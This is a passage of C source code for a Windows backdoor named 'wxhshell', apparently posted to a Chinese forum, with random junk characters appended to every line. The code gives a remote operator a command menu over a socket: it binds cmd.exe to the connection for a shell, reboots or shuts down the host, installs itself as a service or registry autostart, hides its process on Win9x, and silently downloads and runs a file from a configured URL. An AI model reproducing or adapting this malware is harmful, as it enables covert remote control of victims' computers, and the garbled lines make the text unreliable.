  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \UB<'~z6!  
  else sOJ"~p  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XTW/3pB  
  } %8{' XJ!  
  else { >{GC@Cw  
@~gz-l^$  
    switch(cmd[0]) { OZt'ovY  
  tO~H/0  
  // 帮助 $h_@`j  
  case '?': { wp*;F#:G  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Mu:*(P/  
    break; ,sLV6DM  
  } RPp_L>&~<  
  // 安装 &aHj;Z(  
  case 'i': { g]d"d  
    if(Install()) _&w!JzpXT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oN _% oc  
    else [9+M/O|Vs  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s` S<BX7  
    break; QL\'pW5  
    } T\c dtjk  
  // 卸载 lXz<jt@5  
  case 'r': { ruE.0VI@  
    if(Uninstall()) LQ{4r1,u]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hUl FP  
    else + qS$t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /D~ ,X48+  
    break; Y,&)%Eo<  
    } ,%ajIs"Gi  
  // 显示 wxhshell 所在路径 2'@0|k,yC  
  case 'p': { fk",YtS*  
    char svExeFile[MAX_PATH]; `,7BU??+u  
    strcpy(svExeFile,"\n\r"); St(7@)gvY  
      strcat(svExeFile,ExeFile); x3M`l|  
        send(wsh,svExeFile,strlen(svExeFile),0); a{u)~:/G  
    break; MOOL=Um3  
    } =n#xnZ3  
  // 重启 ke/o11LP  
  case 'b': { 8\ :T*u3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4QDF%#~q^  
    if(Boot(REBOOT)) ex29rL3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b9\=NdyCY  
    else { *~-~kv4-  
    closesocket(wsh); u|w[ b9^r  
    ExitThread(0); i-/'F  
    } %F{@DN`  
    break; ;xj^*b  
    } r\em-%:  
  // 关机 2 K` hH  
  case 'd': { gWJLWL2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); IXC: Q  
    if(Boot(SHUTDOWN)) jdoI)J@9H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _/PjeEm $p  
    else { 8~4{e,} ,  
    closesocket(wsh); ]C'r4Ch^  
    ExitThread(0); ,>e<mphM  
    } Z4rK$ B  
    break; Pw+cpM 8<  
    } XLOk+Fn  
  // 获取shell -lLq)  
  case 's': { %7hYl'83  
    CmdShell(wsh); 'jfI1 ]q  
    closesocket(wsh); L-$GQGk{  
    ExitThread(0); [Si`pPvl  
    break; B?Pu0 _|s  
  } 'Z;R!@Dm  
  // 退出 =o9 %)  
  case 'x': { `qUmOFl  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "|&SC0*  
    CloseIt(wsh); SVeL c  
    break; MF>?! !  
    } M|e@N  
  // 离开 [x9eamJ,H  
  case 'q': { Pc1vf]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6&h,eQ!  
    closesocket(wsh); W${0#qq  
    WSACleanup(); 5J1,Usm  
    exit(1); +AXui|mn  
    break; $,bLb5}Qu  
        } !WAbO(l  
  } HjL+Wg  
  } 'Kc;~a  
@_0XK)pW  
  // 提示信息 ql^n=+U  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "y#$| TMB  
} !~PV\DQN  
  } v-g2k_ o|  
Z+FJ cvYx  
  return; !$Nh:(>:  
} 8)'OXR0/  
_@SC R%  
// shell模块句柄 PWmFY'=  
int CmdShell(SOCKET sock) arRb q!mO  
{ REc69Y.k  
STARTUPINFO si; !-p5j3A4L  
ZeroMemory(&si,sizeof(si)); FAo\`x  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8)/d8@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; RQ!kVM@  
PROCESS_INFORMATION ProcessInfo; (jtrQob  
char cmdline[]="cmd"; H $XO] \  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Wi)Y9frE  
  return 0; S sGb;  
} 5{L~e>oS9  
_?CyKk\I  
// 自身启动模式 }k~ih?E^s  
int StartFromService(void) *3d+ !#;rG  
{ lvY[E9I0  
typedef struct WB K6Ug  
{ +<a-;e{  
  DWORD ExitStatus; ))66_bech  
  DWORD PebBaseAddress; jEVDz  
  DWORD AffinityMask; C6Lc   
  DWORD BasePriority; Q V)>+6\  
  ULONG UniqueProcessId; e#!%:M;4P  
  ULONG InheritedFromUniqueProcessId; nm Y_)s  
}   PROCESS_BASIC_INFORMATION; T\?$7$/V  
0Ta&o-e  
PROCNTQSIP NtQueryInformationProcess; 9sG]Q[:.]  
%PM&`c98z7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ct`j7[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~@=(#tO.  
q=(% ]BK  
  HANDLE             hProcess; <-;/,uu  
  PROCESS_BASIC_INFORMATION pbi; GZH{"_$  
_t&` T  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  |W_;L6)  
  if(NULL == hInst ) return 0; }@x!r=O)I  
@GUlw[vi  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t.y-b`v  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 17$'r^t,S  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~(nc<M[  
e[ yN  
  if (!NtQueryInformationProcess) return 0; l^F ?^kP  
4>A|2+K\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v{d$DZUs  
  if(!hProcess) return 0; wg%g(FO  
t:MSV?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0vETg'r  
>)F "lR:o  
  CloseHandle(hProcess); TZ *>MySiF  
XeX\u3<D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?iZ2sRWR6  
if(hProcess==NULL) return 0; 3xT9/8*  
m _cRK}>  
HMODULE hMod; U0gZf5;*  
char procName[255]; $=iw<B r  
unsigned long cbNeeded; Kv<f< >|L  
KL3Z(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); AbxhNNK  
z/u^  
  CloseHandle(hProcess); q3AqU?f  
d]poUN~x  
if(strstr(procName,"services")) return 1; // 以服务启动 \ ?pyax8  
,jOJ\WXP  
  return 0; // 注册表启动 I)tiXcJw  
} v\GVy[Qyv  
ia7<AwV  
// 主模块 J$Z=`=] t+  
int StartWxhshell(LPSTR lpCmdLine) H1 I^Vij  
{ 4vEP\E3u<j  
  SOCKET wsl; sxsb)a  
BOOL val=TRUE; -QroT`gy  
  int port=0; ;I&VpAPx  
  struct sockaddr_in door; T5 (|{-  
wqhktgG  
  if(wscfg.ws_autoins) Install(); z%OKv[/N  
"|h%Uy?XY  
port=atoi(lpCmdLine); ^cm ] [9  
4b:|>Z-  
if(port<=0) port=wscfg.ws_port; `PC9t)%.pV  
7 !$[XD  
  WSADATA data; V&w2pp0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =j62tDS  
1~*1W4};F8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   lG}#K^q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P.}d@qD{)  
  door.sin_family = AF_INET; cg.{oMwa  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); & 3BoK/y3  
  door.sin_port = htons(port); 8.i4QaU  
ZEAUoC1E1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $@>0;i ::  
closesocket(wsl); /' + >/  
return 1; 93>4n\  
} s_'&_>D  
z3Q&O$5\  
  if(listen(wsl,2) == INVALID_SOCKET) { mHxR4%i5  
closesocket(wsl); T.4&P#a1  
return 1; qI+2,6 sGI  
} CIjc5^Y2  
  Wxhshell(wsl); 1^!SuAA@  
  WSACleanup(); jN\u}!\O  
|_V(^b}  
return 0; *'?7OL  
{FNkPX  
} n t}7|h|  
=~B"8@B  
// 以NT服务方式启动 }yz>(Pq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yD7BZI xW  
{ 5E&#Kh(I  
DWORD   status = 0; Yc:%2KZ"  
  DWORD   specificError = 0xfffffff; n0xGIq  
Zh=a rlk  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,`@pi@<"#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; TSlB.pw%v  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ={qcDgn~C  
  serviceStatus.dwWin32ExitCode     = 0; @^P^- B  
  serviceStatus.dwServiceSpecificExitCode = 0; \^x{NV@v42  
  serviceStatus.dwCheckPoint       = 0; IS2cU'   
  serviceStatus.dwWaitHint       = 0; cHs3:F~~  
.ZpOYhk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :D D<0  
  if (hServiceStatusHandle==0) return; =V^-@ji)b  
J ^'El^F  
status = GetLastError(); mj~:MCC  
  if (status!=NO_ERROR) 6b2UPI7m~  
{ M]x> u@JH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {.p.?  
    serviceStatus.dwCheckPoint       = 0; A,}M ^$@  
    serviceStatus.dwWaitHint       = 0; kT% wt1T4  
    serviceStatus.dwWin32ExitCode     = status; qJhsMo2IH  
    serviceStatus.dwServiceSpecificExitCode = specificError; =[6^NR(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); d1b] +AG4  
    return; =Zd(<&B K  
  }  : T*Q2  
"-J 5!y*,Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; BR,-:?z  
  serviceStatus.dwCheckPoint       = 0; Dw-d`8*  
  serviceStatus.dwWaitHint       = 0; uDf<D.+5Ze  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =BJe)!b  
} W(,j2pU  
-@orIwA&  
// 处理NT服务事件,比如:启动、停止 8v4}h9*F"7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wPA^nZ^}9c  
{ x9_mlZ  
switch(fdwControl) RBX<>*  
{ h9vcN#22D  
case SERVICE_CONTROL_STOP: {o=?@$6C  
  serviceStatus.dwWin32ExitCode = 0; O'y8q[2KE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; La4S/.  
  serviceStatus.dwCheckPoint   = 0; @<.@ X*#I  
  serviceStatus.dwWaitHint     = 0; !"<[&  
  { 5KCB^`|b>t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -dntV=  
  } D /eH~  
  return; ,_[x|8m  
case SERVICE_CONTROL_PAUSE: K1& QAXyP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; O%b byR2  
  break; 55[ 4)*  
case SERVICE_CONTROL_CONTINUE: .tBlGMcN  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -yqsJGY  
  break; Fn4v/)*H  
case SERVICE_CONTROL_INTERROGATE: T1LYJ]5  
  break; 1+l8%G=hB  
}; /d`"WK,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PwY/VGT  
} \}jMC  
,:_c-d#  
// 标准应用程序主函数 n 8cA8<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $a(-r-_Fi]  
{ NBikYxa  
P4zo[R%4  
// 获取操作系统版本 .sMs_ 5D  
OsIsNt=GetOsVer(); 12$0-@U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6Q.S  
&|yLTx  
  // 从命令行安装 nl@an!z  
  if(strpbrk(lpCmdLine,"iI")) Install(); }^"6:;,  
r pNb.  
  // 下载执行文件 uuzV,q  
if(wscfg.ws_downexe) { y^. 66BH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q eeV<  
  WinExec(wscfg.ws_filenam,SW_HIDE); wxN)d B  
} qJ ey&_  
rb*|0ST  
if(!OsIsNt) { j=\h|^gA  
// 如果时win9x,隐藏进程并且设置为注册表启动 @]\fO)\f  
HideProc(); nt.LiM/L  
StartWxhshell(lpCmdLine); kZ]H[\Fs  
} BK$y>= `  
else b@CB +8 $  
  if(StartFromService()) w.qtSW6M+  
  // 以服务方式启动 <_?zln:4.  
  StartServiceCtrlDispatcher(DispatchTable); z8kO)'  
else [%W'd9`>  
  // 普通方式启动 sdp&D@  
  StartWxhshell(lpCmdLine); STKL  
Sp `l>BL  
return 0; &@=Jm /5  
}
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只看该作者 1 发表于: 2006-10-10
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